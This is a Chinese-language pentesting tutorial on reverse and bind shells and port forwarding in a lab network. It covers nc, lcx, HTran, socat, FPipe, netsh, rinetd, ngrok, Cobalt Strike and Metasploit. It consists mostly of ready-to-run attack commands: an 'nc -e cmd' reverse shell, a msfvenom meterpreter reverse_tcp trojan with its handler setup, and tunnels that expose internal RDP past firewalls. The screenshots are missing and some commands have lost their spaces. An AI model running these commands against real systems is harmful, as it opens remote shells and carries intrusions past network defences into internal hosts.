网络拓扑图如下:
1、nc
1.1 反向连接
攻击机:nc -lvp port
靶机(windows):nc.exe -e cmd rhost rport
成功反弹shell:
1.2 正向连接
靶机(windows):nc.exe -l -p lport -e cmd.exe
攻击机:nc -nvv rhost rport
1.3 nc的一些参数
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
2、lcx
2.1 外网无法访问内网,内网可以访问外网。
靶机(windows):lcx.exe -slave rhost rport lhost lport
攻击机:./portmap -m 2 -p1 6666 -p2 5555
成功开启3389连接:
整个lcx->portmap的端口转发流程大致如下:
2.2 转发内网主机端口
lcx.exe -tran 6666 192.168.1.2 3389
我们使用靶机进行连接:
流程如下:
2.3 绕过防火墙
有时候由于防火墙的限制我们无法直接连接靶机的3389端口,所以我们可以利用lcx把3389端口转发到本机的其他端口。
靶机:lcx.exe -tran lport lhost lport
使用kali直接连接靶机的52端口:
3、netsh
使用windows自带的netsh配置规则也可达到和lcx一样的效果,但没有工具方便。建立转发规则: netsh interfaceportproxyaddv4tov4listenport=6666 connect=3389connectaddress=192.168.1.2protocol=tcp 查看转发规则: netsh interfaceportproxydump 删除转发规则: netsh interfaceportproxydeletev4tov4listenport=7777
4、HTran
4.1 绕过防火墙
将本地3389端口转发到7777端口:Htran.exe -tran 7777 127.0.0.1 3389
使用kali成功连接:
4.2 将本地端口转发到服务器端口
靶机:Htran.exe -slave 192.168.111.128 6666127.0.0.1 3389
服务器:/portmap -m 2 -p1 6666 -p2 5555
成功访问3389:
4.3 转发内网端口
4.3.1 方法一:
靶机:HTran.exe -tran 6666 192.168.1.2 3389
攻击机:rdesktop 192.168.111.132:6666
Htran整体的使用和lcx差异不大
4.3.3 方法二(比较麻烦):
攻击机开启监听:HTran.exe -listen 7777 9999
靶机:HTran.exe -slave 192.168.111.1 7777127.0.0.1 3389
我们用kali连接攻击机的9999端口:rdesktop 192.168.111.1:9999
成功连接:
5、socat
5.1 转发内网端口
靶机:socat.exeTCP4-LISTEN:6666,reuseaddr,fork TCP:192.168.1.2:3389
使用kali成功连接:rdesktop 192.168.111.132:6666
6、FPipe
6.1 转发内网端口
靶机:FPipe.exe -l 6666 -r 3389 192.168.1.2
kali成功连接:rdesktop 192.168.111.132:6666
7、portfwd(msf自带)
7.1 使用msf生成一个木马
msfvenom -pwindows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4444 -f exe >test.exe
7.2 msf开启监听并上线
1、use exploit/multi/handler 2、set payload windows/meterpreter/reverse_tcp 3、set lhost 192.168.111.128 4、set lport 4444 5、exploit
成功让靶机上线:
7.3 使用portfwd将靶机的3389转发到本地1234端口
portfwdadd-l 1234 -r 192.168.111.132-p 3389
使用kali连接本地1234端口即可:
使用portfwd list命令来查看转发规则:
8、cs
8.1 梼杌插件拥有一个端口转发工具名为iox:
iox具体使用和HTran差不多
8.2 转发内网端口
rportfwd 8888 192.168.1.2 3389 rportfwd stop 8888
9、rinetd
vim /etc/rinetd.conf
编辑rinetd.confg文件内容为:0.0.0.0 2222 192.168.111.132 3389
即可将靶机的3389端口转发到本地2222端口
成功连接:
10、ngroc
在ngroc注册一个账号,然后开通隧道,有免费的。
远程端口按照提示随便填一个就可以,本地端口填自己想要转发的端口,以3389端口为例,我们隧道协议选择tcp。
添加完成以后如下图所示,会有一个隧道ID和域名,我们下载Ngroc的客户端上传到靶机上:
靶机:sunny.exe clientid id
出现如下界面即转发成功:
然后我们直接用kali连接域名即可:rdesktop free.xxxx.com:10833
不知道为什么连接错误,不过大致的使用方法就是这样了。